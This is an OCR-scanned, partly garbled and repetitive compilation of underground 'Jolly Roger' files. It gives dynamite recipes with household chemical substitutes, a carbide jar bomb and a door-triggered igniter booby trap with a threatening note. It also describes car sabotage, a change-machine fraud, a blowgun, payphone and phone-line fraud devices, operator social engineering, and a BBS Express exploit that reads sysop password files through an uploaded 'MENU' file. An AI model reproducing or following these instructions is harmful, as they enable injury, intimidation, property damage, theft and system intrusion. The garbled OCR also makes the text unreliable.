DUCT TAPE, POUR IN WATER, AND COME BACK THE NEXT DAY WHEN THE WATER 
WILL HAVE 

FROZE THUS EXPANDING AND CRACKING THE FONE OPEN. 

IN ONE CASE, "UNAUTHORIZED COIN COLLECTORS" WHERE CAUGHT WHEN THEY 
BROUGHT $6,000 IN CHANGE TO A BANK AND THE BANK BECAME SUSPICIOUS... 
AT ANY RATE, THE MAIN LOCK IS AN EIGHT LEVEL TUMBLER LOCATED ON THE 
RIGHT SIDE 

OF THE COIN BOX. THIS LOCK HAS 390,625 POSSIBLE POSITIONS (5 * 8, SINCE THERE 
ARE 8 TUMBLERS EACH WITH 5 POSSIBLE POSITIONS) THUS IT IS HIGHLY PICK. 
RESISTANT! THE LOCK IS HELD IN PLACE BY 4 SCREWS. IF THERE IS SUFFICIENT 


CLEARANCE TO THE RIGHT OF THE FONE, IT IS CONCEIVABLE TO PUNCH OUT THE 
SCREWS 

USING THE DRILLING PATTERN BELOW (PROVIDED BY ALEXANDER MUNDY IN TAP 
#32): 
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AFTER THIS IS ACCOMPLISHED, THE LOCK CAN BE PUSHED BACKWARDS 
DISENGAGING 

THE LOCK FROM THE COVER PLATE. THE FOUR BOLTS OF THE COVER PLATE CAN 
THEN 

BE RETRACTED BY TURNING THE BOLTWORKS WITH A SIMPLE KEY IN THE SHAPE 
OF THE 

HOLE ON THE COIN PLATE (SEE DIAGRAM BELOW). OF COURSE, THERE ARE OTHER 
METHODS AND DRILLING PATTERNS. 


[ROUGHLY] 
DIAGRAM OF COVER PLATE KEYHOLE 


THE TOP COVER USES A SIMILAR (BUT NOT AS STRONG) LOCKING METHOD WITH 
THE 

KEYHOLE DEPICTED ABOVE ON THE TOP LEFT HIDE AND A REGULAR LOCK 
(PROBABLY 

TUMBLER ALSO) ON THE TOP RIGHT-HAND SIDE. IT IS INTERESTING TO EXPERIMENT 
WITH THE COIN SHUTE AND THE FORTRESSES OWN “RED BOX" (WHICH BELL DIDN'T 
HAVE 

THE 'BALLS' TO COLOR RED). 


MISCELLANEOUS: 


IN A FEW AREAS (RURAL & CANADA), POST-PAY SERVICE EXISTS. WITH THIS TYPE 
OF 

SERVICE, THE MOUTHPIECE IS CUT OFF UNTIL THE CALLER DEPOSITS MONEY WHEN 
THE CALLED PARTY ANSWERS. THIS ALSO ALLOWS FOR FREE CALLS TO WEATHER 
AND 

OTHER DIAL-IT SERVICES! RECENTLY, 2600 MAGAZINE ANNOUNCED THE CLEAR 
BOX WHICH 

CONSISTS OF A TELEPHONE PICKUP COIL AND A SMALL AMP. IT IS BASED ON THE 
RINCIPAL THAT THE RECEIVER IS ALSO A WEAK TRANSMITTER AND THAT BY 
AMPLIFYING 

YOUR SIGNAL YOU CAN TALK VIA THE TRANSMITTER THUS AVOIDING COSTLY 
TELEPHONE CHARGES! MOST FORTRESSES ARE FOUND IN THE 9XXX 

AREA. UNDER FORMER BELL AREAS, THEY USUALLY START AT 98XX (RIGHT 
BELOW THE 

99XX OFFICIAL SERIES) AND MOVE DOWNWARD. 

SINCE THE LINE, NOT THE FONE, DETERMINES WHETHER OR NOT A DEPOSIT 
MUST BE MADE, DTF & CHARGE-A-CALL FONES MAKE GREAT EXTENSIONS! 
FINALLY, FORTRESS FONES ALLOW FOR A NEW HOBBY--INSTRUCTION PLATE 
COLLECTING. 

ALL THAT IS REQUIRED IS A FLAT-HEAD SCREWDRIVER AND A PAIR OF 
NEEDLE-NOSE 

PLIERS. SIMPLY USE THE SCREWDRIVER TO LIFT UNDERNEATH THE PLATE SO THAT 
YOU 

CAN GRAB IT WITH THE PLIERS AND YANK DOWNWARDS. I WOULD SUGGEST 
COVERING THE 

TIPS OF THE PLIERS WITH ELECTRICAL TAPE TO PREVENT SCRATCHING. TEN CENT 
PLATES 

ARE DEFINITELY BECOMING A "RARITY!" 


FORTRESS SECURITY: 


WHILE A LONELY FORTRESS MAY SEEM THE PERFECT TARGET, BEWARE! THE 


GESTAPO 

HAS BEEN KNOWN TO STAKE OUT FORTRESSES FOR AS LONG AS 6 YEARS 
ACCORDING TO THE 

GRASS ROOTS QUARTERLY. TO AVOID ANY PROBLEMS, DO NOT USE THE SAME 
FONES 

REPEATEDLY FOR BOXING, CALLING CARDS, & OTHER EXPERIMENTS. THE TELCO 
KNOWS HOW 

MUCH MONEY SHOULD BE IN THE COIN BOX AND WHEN ITS NOT THERE THEY TEND 
TO GET 

PERTURBED (READ: PISSED OFF). 


saden eo, Jolly Roger 


p.s. This was originally written back in my old Apple ][ days, 
hence the upper case. I just did not think I should waste the 

little time I have to work on this shit converting it to lower- 
case. Hell, ] thought 80-columns was pretty nice of me.. heh heh. 


Well, enjoy this and the rest of this Cookbook! --------- JR 
Black Box Plans by The Jolly Roger 
Introduction: 


At any given time, the voltage running through your phone is about 20 
Volts. When someone calls you, this voltage goes up to 48 Volts and rings 
the bell. When you answer, the voltage goes down to about 10 Volts. 

The phone company pays attention to this. When the voltage drops to 10, 
they start billing the person who called you. 


Function: 

The Black Box keeps the voltage going through your phone at 36 Volts, 
so that it never reaches 10 Volts. The phone company is thus fooled 
into thinking you never answered the phone and does not bill the caller. 
However, after about a half hour the phone company will get suspicious 
and disconnect your line for about 10 seconds. 


Materials: 

1 1.8K 1/2 Watt Resistor 
11.5V LED 

1 SPST Switch 


Procedure: 
(1) Open your phone by loosening the two screws on the bottom and 
lifting the case off. 
(2) There should be three wires: Red, Green, and Yellow. We'll be working 
with the Red Wire. 
(3) Connect the following in parallel: 
A. The Resistor and LED. 
B. The SPST Switch. 
In other words, you should end up with this: 
(Red Wire) 
|---AWV\--O--! 
(Line)-----! !-----(Phone) 


MM = Resistor 
O =LED 
_/. =SPST 


Use: 


The SPST Switch is the On/Off Switch of the Black Box. When the box is off, 
your phone behaves normally. When the box is on and your phone rings, 

the LED flashes. When you answer, the LED stays on and the voltage 

is kept at 36V, so the calling party doesn't get charged. When the box 

is on, you will not get a dial tone and thus cannot make calls. 

Also remember that calls are limited to half an hour. 


weneeeeeenes Jolly Roger 

p.s. Due to new Fone Company switching systems & the like, this 
may or may not work in your area. If you live in bumfuck Kentucky, 
then try this out. ] make no guarantees! (I never do...) ----JR 
The Infamous Blotto Box!! by The Jolly Roger 

(I bet that NOONE has the balls to build this one!) 
Finally, it is here! What was first conceived as a joke to fool the innocent 
phreakers around America has finally been conceived! 
Well, for you people who are unenlightened about the Blotto Box, 
here is a brief summery of a legend. 


--*-=> The Blotto Box <=-*-- 


For years now every pirate has dreamed of the Blotto Box. It was at first 


made as a joke to mock more ignorant people into thinking that 

the function of it actually was possible. Well, if you are The Voltage 
Master, it is possible. Originally conceived by King Blotto of much fame, 
the Blotto Box is finally available to the public. 

NOTE: Jolly Roger can not be responsible for the information disclosed 

in the file! This file is strictly for informational purposes and 

should not be actually built and used! Usage of this electronical impulse 
machine could have the severe results listed below and could result in 

high federal prosecution! Again, I TAKE NO RESPONSIBILITY! 

All right, now that that is cleared up, here is the basis of the box 

and it's function. 

The Blotto Box is every phreaks dream... you could hold AT&T down on its 
knee's with this device. Because, quite simply, it can turn off the phone 
lines everywhere. Nothing. Blotto. No calls will be allowed out of an area 
code, and no calls will be allowed in. No calls can be made inside it for 

that matter. As long as the switching system stays the same, this box will 
not stop at a mere area code. It will stop at nothing. The electrical 

impulses that emit from this box will open every line. Every line will 

ring and ring and ring... the voltage will never be cut off until the 
box/generator is stopped. This is no 200 volt job, here. 

We are talking GENERATOR. Every phone line will continue to ring, and people 
close to the box may be electricuted if they pick up the phone. 

But, the Blotto Box can be stopped by merely cutting of the line or generator. 
If they are cut off then nothing will emit any longer. It will take 

a while for the box to calm back down again, but that is merely a 

superficial aftereffect. Once again: Construction and use of this box is 

not advised! The Blotto Box will continue as long as there is 

electricity to continue with. 

OK, that is what it does, now, here are some interesting things for you 

to do with it... 


-*-=>Blotto Functions/Installin’<=-*- 


Once you have installed your Blotto, there is no turning back. The 
following are the instructions for construction and use of this box. 

Please read and heed all warnings in the above section before you attempt 
to construct this box. 


Materials: 
- A Honda portable generator or a main power outlet like in a 
stadium or some such place. 
- 400 volt rated coupler that splices a female plug into a 
phone line jack. 
- A meter of voltage to attach to the box itself. 
- A green base (i.e, one of the nice boxes about 3' by 4' that 


you see around in your neighborhood. They are the main switch 

boards and would be a more effective line to start with. 

or: A regular phone jack (not your own, and not in your area 

code! 

- A soldering iron and much solder. 
- A remote control or long wooden pole. 

Now. You must have guessed the construction from that. If not, here goes, 
I will explain in detail. Take the Honda Portable Generator and all of 
the other listed equiptment and go out and hunt for a green base. Make 
sure it is one on the ground or hanging at head level from a pole, 
not the huge ones at the top of telephone poles. Open it up with anything 
convienent, if you are two feeble that fuck don't try this. 
Take a look inside... you are hunting for color-coordinating lines of 
green and red. Now, take out your radio shack cord and rip the meter thing 
off. Replace it with the voltage meter about. A good level to set the 
voltage to is about 1000 volts. Now, attach the voltage meter to the cord 
and set the limit for one thousand. Plug the other end of the cord 
into the generator. Take the phone jack and splice the jack part off. 
Open it up and match the red and green wires with 
the other red and green wires. NOTE: If you just had the generator on 
and have done this in the correct order, you will be a crispy critter, 
Keep the generator off until you plan to start it up. Now, solder those 
lines together carefully. Wrap duck tape or insultation tape around all 
of the wires. Now, place the remote control right on to the startup 
of the generator. If you have the long pole, make sure it is very long 
and stand back as far away as you can get and reach the pole over, 
NOTICE: If you are going right along with this without reading the file 
first, you still realize now that your area code is about to become 
null! Then, getting back, twitch the pole/remote contro! and run for your 
damn life. Anywhere, just get away from it. It will be generating 
so much electricity that if you stand to close you will kill yourself. 
The generator will smoke, etc. but will not stop. You are now killing your 
area code, because all of that energy is spreading through all of the 
phone lines around you in every direction. 


Have a nice day! 
--*-=>The Blotto Box: Aftermath<=-*-- 
Well, that is the plans for the most devastating and ultimately deadly 


box ever created. My hat goes off to: King Blotto (for the original idea). 


waceeeeee Jolly Roger 


Blowgun by The Jolly Roger 


In this article I shall attempt to explain the use and manufacture 

of a powerfull blow-gun and making darts for the gun. The possesion of 
the blow gun described in this article IS a felony. 

So be carefull where you use it. I don’t want to get you all busted. 


Needed: 


1. Several strands of yarn (About 2 inches a-piece) 

2. A regular pencil 

3. A 2 1/4 inch long needle (hopefully with a beaded head. If not 
obtainable,wrap tape around end of needle. 

4. 2-3 1/4 foot pipe. (PVC or Aluminum) Half a inch in diameter 


Constructing the dart: 


Ist- Carefully twist and pull the metal part (Along with eraser) 

of the pencil till it comes off. 

2nd- Take Pin and start putting about 5-7 Strands of yarn on the pin. Then 
push them up to the top of the pin, But not over the head of the pin (orthe tape). 
3rd- Push pin through the hollow part of the head where the pencil was before. 
4th- That should for a nice looking dart. (see illustration) 


>>>>>-----/  # is the yarn 
> is the head of the pencil 
- is the pin it-self 
/ is the head of the pin 


Using the Darts: 


1st- Now take the finished dart and insert it in the tube 
(if it is too small put on more yarn.) 
2nd- Aim the tube at a door, wall, sister, ect. 
3rd- blow on the end of the pipe. 
4th- Sometimes the end of the pipe may be sharp. When this happens I 
suggest you wrap it with some black electrician tape.It should feel 
a lot better. 
serene Jolly Roger 


Brown Box Plans by The Jolly Roger 


This is a fairly simple mod that can be made to any phone. All it does 
is allow you to take any two lines in your house and create a party 
line. So far | have not heard of anyone who has any problems 

with it. There is one thing that you will notice when you are 


one of the two people who is called by a person with a brown box. The other 
person will sound a little bit faint. I could overcome this with some 
amplifiers but then there wouldn't be very many of these made [Why not?]. 

I think the convenience of having two people on the line at once will 

make up for any minor volume loss. 


Here is the diagram: 


KEY: 
PART | SYMBOL | 


BLACK WIRE | *— | 
YELLOW WIRE |= | 
RED WIRE pe 
GREEN WIRE | - | 
SPDTSWITCH | _/_ | 
fees 
VERTICAL WIRE | | | 
HORIZONTAL WIRE |_| 


ROK J ppp 


| 
| 
| 


weteteeeenen Jolly Roger 
Calcium Carbide Bomb by The Jolly Roger 


This is EXTREMELY DANGEROUS. Exercise extreme caution... Obtain some 
calcium carbide. This is the stuff that is used in carbide lamps and 

can be found at nearly any hardware store. Take a few pieces of this 

stuff (it looks like gravel) and put it in a glass jar with some 

water. Put a lid on tightly. The carbide will react with the water to 

produce acetylene carbonate which is similar to the gas used in 


cutting torches. Eventually the glass with explode from internal 
pressure. If you leave a burning rag nearby, you will get a nice 
fireball! 

weeeeeeneee Jolly Roger 


Calcium Carbide Bomb by The Jolly Roger 


This is EXTREMELY DANGEROUS. Exercise extreme caution.... Obtain some 
calcium carbide. This is the stuff that is used in carbide lamps and 
can be found at nearly any hardware store. Take a few pieces of this 
stuff (it looks like gravel) and put it in a glass jar with some 
water. Put a lid on tightly. The carbide will react with the water to 
produce acetylene carbonate which is similar to the gas used in 
cutting torches. Eventually the glass with explode from internal 
pressure. If you leave a burning rag nearby, you will get a nice 
fireball! 
werensesees Jolly Roger 


More Ways to Send a Car to Hell by The Jolly Roger 


Due to a lot of compliments, I have written an update to file #14. 
I have left the original intact. This expands upon the original 
idea, and could be well called a sequal. ----- JR 


How to have phun with someone else's car. If you really detest 
someone, and | mean detest, here's a few tips on what to do in your 
spare time. Move the windshield wiper blades, and insert and glue 
tacks, The tacks make lovely designs. If your "friend" goes to 

school with you, Just before he comes out of school. Light a lighter 
and then put it directly underneath his car door handle. 
Wait.,.Leave...Listen. When you hear a loud "shit!", you know he 
made it to his car in time. Remove his muffler and pour approximately 
1 Cup of gas in it. Put the muffler back, then wait till their car starts. 
Then you have a cigarette lighter. A 30 foot long cigarette lighter. 
This one is effective, and any fool can do it. Remove the top 

air filter. That's it! Or a oldie but goodie: sugar in the gas tank. 

Stuff rags soaked in gas up the exhaust pipe. Then you wonder why 
your “friend” has trouble with his/her lungs. Here's one that takes 

time and many friends. Take his/her car then break into their house 
and reassemble it, in their living or bedroom. Phun eh? If you're 

into engines, say eeni mine moe and point to something and remove it. 
They wonder why something doesn't work. There are so many others, but 
the real good juicy ones come by thinking hard. 
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More Ways to Send a Car to Hell by The Jolly Roger 


Due to a lot of compliments, I have written an update to file #14. 
I have left the original intact. This expands upon the original 
idea, and could be well called a sequal. ----- JR 


How to have phun with someone else's car. If you really detest 
someone, and I mean detest, here's a few tips on what to do in your 
spare time. Move the windshield wiper blades, and insert and glue 
tacks. The tacks make lovely designs. If your "friend" goes to 

schoo] with you, Just before he comes out of school. Light a lighter 
and then put it directly underneath his car door handle. 
Wait...Leave...Listen. When you hear a loud "shit!", you know he 
made it to his car in time. Remove his muffler and pour approximately 
1 Cup of gas in it. Put the muffler back, then wait till their car starts. 
Then you have a cigarette lighter. A 30 foot long cigarette lighter. 
This one is effective, and any fool can do it. Remove the top 

air filter. That's it! Or a oldie but goodie: sugar in the gas tank. 

Stuff rags soaked in gas up the exhaust pipe. Then you wonder why 
your "friend" has trouble with his/her lungs. Here's one that takes 
time and many friends. Take his/her car then break into their house 
and reassemble it, in their living or bedroom. Phun eh? If you're 

into engines, say eeni mine moe and point to something and remove it. 
They wonder why something doesn't work. There are so many others, but 
the real good juicy ones come by thinking hard. 


we eeenceees Jolly Roger 
Ripping off Change Machines by the Jolly Roger 


Have you ever seen one of those really big changer machines in airports 
Jaundrymats or arcades that dispense change when you put in your 1 or 5 
dollar bill? Well then, here is an article for you. 


1) Find the type of change machine that you slide in your bill length 
wise, not the type where you put the bill in a tray and then slide the 
tray inl!!! 

2) After finding the right machine, get a $1 or $5 bill. Start crumpling 
up into a ball. Then smooth out the bill, now it should have a very wrinkly 
surface. 

3) Now the hard part. You must tear a notch in the bill on the 

left side about 1/2 inch below the little 1 dollar symbol (See Figure). 
4) If you have done all of this right then take the bill and go out the 
machine. Put the bill in the machine and wait. What should happen is: 
when you put your bill in the machine it thinks everything is fine. 


When it gets to the part of the bill with the notch cut out, the 

machine will reject the bill and (if you have done it right) 

give you the change at the same time!!! So, you end up getting your bill 
back, plus the change!! It might take a little practice, but once 

you get the hang of it, you can get a lot of money! 


P.S. Sorry for the "text work" but you should be able to get the 
idea. Have fun!!! -----------------------, Jolly Roger 


Clear Box Plans by The Jolly Roger 


The clear box is a new device which has just been invented that can be 
used throughout Canada and rural United States. The clear box works on 
"PostPay" payphones (fortress fones). Those are the payphones 

that don't require payment until after the connection is established. 
You pick up the fone, get a dial tone, dial your number, and then 
insert your money after the person answers. 

If you don't deposit the money then you can not speak to the person on 
the other end because your mouth piece is cut off but not the ear-piece. 
(obviously these phones are nice for free calls to weather or time or 
other such recordings). All you must do is to go to your nearby Radio 
Shack, or electronics store, and get a four-transistor amplifier and a 
telephone suction cup induction pick-up. The induction pick-up would be 
hooked up as it normally would to record a conversation, except 

that it would be plugged into the output of the amplifier and a 
microphone would be hooked to the input. So when the party 

that is being called answers, the caller could speak through the little 
microphone instead. His voice then goes through the amplifier and out 
the induction coil, and into the back of the receiver where 

it would then be broadcast through the phone lines and the other 
partywould be able to hear the caller. The Clear Box thus 

‘clears up' the problem of not being heard. Luckily, the line will 

not be cut-off after a certain amount of time because it will wait 
forever for the coins to be put in. 

The biggest advantage for all of us about this new clear box is the 


fact that this type of payphone will most likely become very common. 
Due to a few things: Ist, it is a cheap way of getting the DTF, 
dial-tone-first service, 2nd, it doesn't require any special equipment, 
(for the phone company) This payphone will work on any phone line. 
Usually a payphone line is different, but this is a regular phone line 
and it is set up so the phone does all the charging, not the company. 


a Jolly Roger 
CNA List Courtesy of The Jolly Roger 


NPA TEL NO NPA TEL NO 
201 201-676-7070 601 601-961-8139 
202 304-343-7016 602 303-293-8777 
203 203-789-6815 603 617-787-5300 
204 204-949-0900 604 604-432-2996 
205 205-988-7000 605 402-580-2255 
206 206-382-5124 606 502-583-2861 
207 617-787-5300 607 518-471-8111 
208 303-293-8777 608 608-252-6932 
209 415-543-2861 609 201-676-7070 
212 518-471-8111 612 402-580-2255 
213 415-781-5271 613 416-443-0542 
214 214-464-7400 614 614-464-0123 
215 412-633-5600 615 615-373-5791 
216 614-464-0123 616 313-223-8690 
217 217-525-5800 617 617-787-5300 
218 402-580-2255 618 217-525-5800 
219 317-265-4834 619 818-501-7251 
301 304-343-1401 701 402-580-2255 
302 412-633-5600 702 415-543-2861 
303 303-293-8777 703 304-344-7935 
304 304-344-8041 704 912-784-0440 
305 912-784-0440 705 416-979-3469 
306-347-2878 706 *** NONE *** 
303-293-8777 707 415-543-6374 
402-580-2255 709 *** NONE *** 
217-525-5800 712 402-580-2255 
312 312-796-9600 713 713-861-7194 
313-223-8690 714 818-501-7251 
314-721-6626 715 6 
518-471-8111 716 5 
816-275-2782 717 4 
317-265-4834 718 5 


08-252-6932 
18-471-8111 
12-633-5600 
18-471-8111 


318 504-245-5330 801 303-293-8777 
319 402-580-2255 802 617-787-5300 
401 617-787-5300 803 912-784-0440 
402 402-580-2255 804 304-344-7935 
403 403-425-2652 805 415-543-2861 
404 912-784-0440 806 512-828-2501 
405 405-236-6121 807 416-443-0542 
406 303-293-8777 808 212-334-4336 
408 415-543-6374 809 212-334-4336 
409 713-861-7194 812 317-265-4834 
412 413-633-5600 813 813-228-7871 
413 617-787-5300 814 412-633-5600 
414 608-252-6932 815 217-525-5800 
415 415-543-6374 816 816-275-2782 
416 416-443-0542 817 214-464-7400 
417 314-721-6626 818 415-781-5271 
418 514-725-2491 819 514-725-249] 
419 614-464-0123 901 615-373-5791 
501 405-236-6121 902 902-421-4110 
502 502-583-2861 904 912-784-0440 
$03 206-382-5124 906 313-223-8690 
504 504-245-5330 907 *** NONE *** 
505 303-293-8777 912 912-784-0440 
506 506-648-3041 913 816-275-2782 
507 402-580-2255 914 518-471-8111 
509 206-382-5124 915 512-828-2501 
512 512-828-2501 916 415-543-2861 
513 614-464-0123 918 405-236-6121 
514 514-725-2491 919 912-784-0440 
515 402-580-2255 516 518-471-8111 
517 313-223-8690 518 518-471-8111 
519 416-443-0542 900 201-676-7070 


Electronic Terrorism by The Jolly Roger 


It starts when a big, dumb lummox rudely insults you. Being of a 
rational, intelligent disposition, you wisely choose to avoid a 
(direct) confrontation. But as he laughs in your face, you smile 
inwardly---your revenge is already planned. 

Step 1: follow your victim to his locker, car, or house. Once you 
have chosen your target site, lay low for a week or more, 

letting your anger boil. 

Step 2: in the mean time, assemble your versatile terrorist 
kit(details below.) 

Step 3: plant your kit at the designated target site on a monday 


morning between the hours of 4:00 am and 6:00 am. Include a 
calm, suggestive note that quietly hints at the possibility 
of another attack. Do not write it by hand! An example of 
an effective note: 
"don't be such a jerk, or the next one will take off your 
hand. Have a nice day." 
Notice how the calm tone instills fear. As if written by a 
homicidal psychopath. 
Step 5: choose a strategic location overlooking the target site. Try 
to position yourself in such a way that you can see his facial contortions. 
Step 6: sit back and enjoy the fireworks! Assembly of the versatile, 
economic, and effective terrorist kit #1: the parts you'll need are: 
1) 4 aa batteries 
2) 1 9-volt battery 
3) | spdt mini relay (radio shack) 
1 rocket engine(smoke bomb or m-80) 
5) 1 solar ignitor (any hobby store) 
6) 1 9-volt battery connector 


Be 


Step 1: take the 9-volt battery and wire it through the relay's coil. 
This circuit should also include a pair of contacts that when 
separated cut off this circuit. These contacts should be held together 
by trapping them between the locker,mailbox, or car door. 

Once the door is opened, the contacts fall apart and the 9-volt circuit 
is broken, allowing the relay to fall to the closed postion 

thus closing the ignition circuit. (If all this is confusing take a 

look at the schematic below.) 


Step 2: take the 4 aa batteries and wire them in succession. 

Wire the positive terminal of one to the negative terminal of another, 
until all four are connected except one positive terminal and one negative 
terminal. Even though the four aa batteries only combine to create 6 
volts, the increase in amperage is necessary to activate the solar 

ignitor quickly and effectively, 


Step 3: take the battery pack (made in step 2) and wire one end of it 
to the relay's single pole and the other end to one prong of the solar 
ignitor. Then wire the other prong of the solar ignitor back to the open 
position on the relay. 


Step 4: using double sided carpet tape mount the kit in his locker, 
mailbox, or car door. And last, insert the solar ignitor into the 
rocket engine (smoke bomb or m-80). 


Your kit is now complete! 


I (CONTACTS) 1 
I I 

I - (BATTERY) 
] a 

I I 

1 (COWL) 1 


(SWITCH)I 1 
I oJ 

--- (BATTERY) 

- (PACK ) 


(SOLAR IGNITOR) 
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How to Start A Conference w/o 2600hz or M-F by The Jolly Roger 
(Originally an Apple ][ file, forgive the upper case!) 


THIS METHOD OF STARTING THE CONF. DEPENDS ON YOUR ABILITY TO BULLSHIT 
THE 
OPERATOR INTO DIALING A NUMBER WHICH CAN ONLY BE REACHED WITH AN 
OPERATOR'S 

M-F TONES. WHEN BULLSHITTING THE OPERATOR REMEMBER OPERATOR'S ARE 
NOT 
HIRED TO THINK BUT TO DO. 


HERE IS A STEP-BY-STEP WAY TO THE CONF.: 
1. CALL THE OPERATOR THROUGH A PBX OR EXTENDER, YOU COULD JUST CALL 
ONE 


THROUGH YOUR LINE BUT I WOULDN'T RECOMMEND IT. 

2. SAY TO THE OPERATOR: 

TSPS MAINTENENCE ENGINEER, RING-FORWARD TO 213+080+1100, POSITION 
RELEASE, 

THANKYOU. 

(SHE WILL PROBABLY ASK YOU FOR THE NUMBER AGAIN) 


DEFINITIONS: RING-FORWARD - INSTRUCTS HER TO DIAL THE NUMBER. 

POSITION RELEASE - INSTUCTS HER TO RELEASE THE TRUNK AFTER SHE HAS 
DIALED THE NUMBER. 

+-REMBER TO SAY 213PLUS080 PLUS1 100. 

3. WHEN YOU ARE CONNECTED WITH THE CONF, YOU WILL HERE A WHISTLE BLOW 
TWICE AND A RECORDING ASKING YOU FOR YOUR OPERATOR #. DIAL IN ANY FIVE 
DIGITS AND HIT THE POUNDS SIGN A COUPLE OF TIMES, SIMPLY DIAL IN THE # 
OF THE BILLING LINE ECT. WHEN THE RECORDING ASK FOR IT. 

3. WHEN IN THE CONTROL MODE OF THE CONF. HIT '6' TO TRANSFER CONTROL. 
HIT '001' TO REENTER THE # OF CONFEREE'S AND TIME AMOUNT WHICH YOU 
GAVE WHEN YOU STARED THE CONF. REMEMBER THE SIZE CAN BE FROM 

2-59 CONFEREE'S. I HAVE NOT FOUND OUT THE 'LENGTHS' LIMITS. 


How to Make Dynamite by The Jolly Roger 


Dynamite is nothing more than just nitroglycerin and a stablizing 
agent to make it much safer to use. For the sake of saving time, I 
will abbreviate nitroglycerin with a plain NG. The numbers 

are percentages, be sure to mix these carefully and be sure to use the 
exact amounts, These percentages are in weight ratio, not volume. 


no. ingredients amount 

#1 NG 32 
sodium nitrate 28 
woodmeal 10 
ammonium oxalate 29 
guncotten 1 

#2 NG 24 
potassium nitrate 9 
sodium nitate 56 
woodmeal 9 
ammonium oxalate 2 

#3 NG 35.5 
potassium nitrate 44.5 


woodmeal 6 


guncotton 25 


vaseline 5.5 
powdered charcoal 6 
#4 NG 25 
potassium nitrate 26 
woodmeal 34 
barium nitrate 5 
starch 10 
#5 NG 57 
potassium nitrate 19 
woodmeal 9 
ammonium oxalate 12 
guncotton 3 
#6 NG 18 
sodium nitrate 70 
woodmeal 5.5 
potassium chloride 4.5 
chalk 2 
#7 NG 26 
woodmeal 40 
barium nitrate 32 
sodium carbonate 2 
#8 NG 44 
woodmeal 12 
anhydrous sodium sulfate 44 
#9 NG 24 
potassium nitrate 32,0 
woodmeal 33.5 
ammonium oxalate 10 
#10 NG 26 
potassium nitrate 33 
woodmeal 41 
#11 NG 15 
sodium nitrate 62.9 
woodmeal 21.2 
sodium carbonate 9 
#12 NG 35 
sodium nitrate 27 
woodmeal 10 
ammonium oxalate 1 
#13 NG 32 
potassium nitrate 27 
woodmeal 10 
ammonium oxalate 30 


guncotton 1 


#14 NG 33 


woodmeal 10.3 
ammonium oxalate 29 
guncotton ok 
potassium perchloride 27 
#15 NG 40 
sodium nitrate 45 
woodmeal 15 
#16 NG 47 
starch 50 
guncotton 3 
#17 NG 30 
sodium nitrate 22.3 
woodmeal 40.5 
potassium chloride 7.2 
#18 NG 50 
sodium nitrate 32.6 
woodmeal 17 
ammonium oxalate 4 
#19 NG 23 
potassium nitrate 27,5 
woodmeal 37 
ammonium oxalate 8 
barium nitrate 4 
calcium carbonate 5 


Household equivalants for chemicles 


It has come to my attention that many of these chemicles are 

sold under brand names, or have household equivalants. here is a list 
that might help you out. Also, see elsewhere in this Cookbook for 

a more complete listing............ 


acetic acid vinegar 

aluminum oxide alumia 

aluminum potassium sulfate alum 
aluminum sulfate alum 

ammonium hydroxide ammonia 
carbon carbonate chalk 

calcium hypochloride —_ bleaching powder 
calcium oxide lime 

calcium sulfate plaster of paris 
carbonic acid seltzer 


carbon tetrachloride cleaning fluid 
ethylene dichloride Dutch fluid 


ferric oxide iron rust 


glucose corn syrup 
graphite pencil lead 
hydrochloric acid muriatic acid 
hydrogen peroxide peroxide 
lead acetate sugar of lead 
lead tetrooxide red lead 
magnesium silicate tale 
magnesium sulfate Epsom salts 
naphthalene mothballs 
phenol carbolic acid 


potassium bicarbonate cream of tartar 
potassium chromium sulf. chrome alum 


potassium nitrate saltpeter 
sodium dioxide sand 

sodium bicarbonate baking soda 
sodium borate borax 

sodium carbonate washing soda 
sodium chloride salt 

sodium hydroxide lye 

sodium silicate water glass 
sodium sulfate glauber's salt 
sodium thiosulfate photographer's hypo 
sulferic acid battery acid 
sucrose cane sugar 

zinc chloride tinner's fluid 


Keep this list handy at all times. If you can't seem to get one 
or more of the ingredients try another one. If you still can't, you 
can always buy small amounts from your school, or maybe from various 
chemical companies. When you do that, be sure to say as little as 
possible, if during the school year, and they ask, say it's for a 
experiment for school. 
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Auto Exhaust Flame Thrower by The Jolly Roger 


For this one, all you need is a car, a sparkplug, ignition wire and a 
switch. Install the spark plug into the last four or five inches of 

the tailpipeby drilling a hole that the plug can screw into easily. 
Attach the wire (this is regular insulated wire) to one side of the 
switch and to the spark plug. The other side of the switch is attached 
to the positive terminal on the battery. With the car running, simply 
hit the switch and watch the flames fly!!! Again be careful that no 
one is behind you! I have seen some of these flames go 20 feet!!! 
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Breaking into BBS Express Courtesy of the Jolly Roger 


If you have high enough access on any BBS Express BBS you can get the 
Sysop's password without any problems and be able to log on as him and do 
whatever you like. Download the Pass file, delete the whole BBS, anything, 
Its all a matter of uploading a text file and d/ling it from the BBS. You 
must have high enough access to see new uploads to do this. If you can see 
a file you just uploaded you have the ability to break into the BBS ina 

few easy steps. 

Why am I telling everyone this when I run BBS Express myself? 

Well there is one way to stop this from happening and I want other Sysops 
to be aware of it and not have it happen to them. 

Breaking in is all based on the MENU function of BBS Express. Express 
will let you create a menu to display different text files by putting the 

word MENU at the top of any text file and stating what files are to be 
displayed. But due to a major screw up by Mr. Ledbetter you can use this 
MENU option to display the USERLOG and the Sysop's Passwords or anything 
else you like. I will show you how to get the Sysop's pass and therefore 

log on as the Sysop. BBs Express Sysop’s have 2 passwords. One like 
everyone else gets in the form of X1XXX, and a Secondary password 

to make it harder to hack out the Sysops pass. 

The Secondary pass is found in a file called SYSDATA.DAT. 

This file must be on drive 1 and is therefore easy to get. All you have to 

do is upload this simple Text file: 


MENU 
1 
D1I:SYSDATA.DAT 


Ripoff time! 


after you upload this file you d/l it non-Xmodem. Stupid Express thinks 
it is displaying a menu and you will see this: 


Ripoff time! 
Selection [0]: 


Just hit 1 and Express will display the SYSDATA.DAT file.OPPASS is where 
the Sysop's Secondary pass will be. D1: USERLOG.DAT is where you will find 
the name and Drive number of the USERLOG.DAT file. The Sysop might have 
renamed this file or put it in a Subdirectory or even on a different 

drive. I Will Assume he left it as D1: USERLOG.DAT. The other parts of this 


file tell you where the HLP screens are and where the LOG is saved and 
all the Download path names. 


Now to get the Sysop's primary pass you upload a text file like this: 


MENU 
i 
D1:USERLOG.DAT 


Breaking into Bedwetter's BBS 

Again you then d/l this file non-Xmodem and you will see: 
Breaking into Bedwetter's BBS 

Selection [0]: 


You then hit 1 and the long USERLOG.DAT file comes flying at you. 
The Sysop is the first entry in this very long file so it is easy. You will 
see! 


SYSOP'S NAME XIXXX 
You should now have his 2 passwords. 


There is only one easy way out of this that I can think of, and that is 

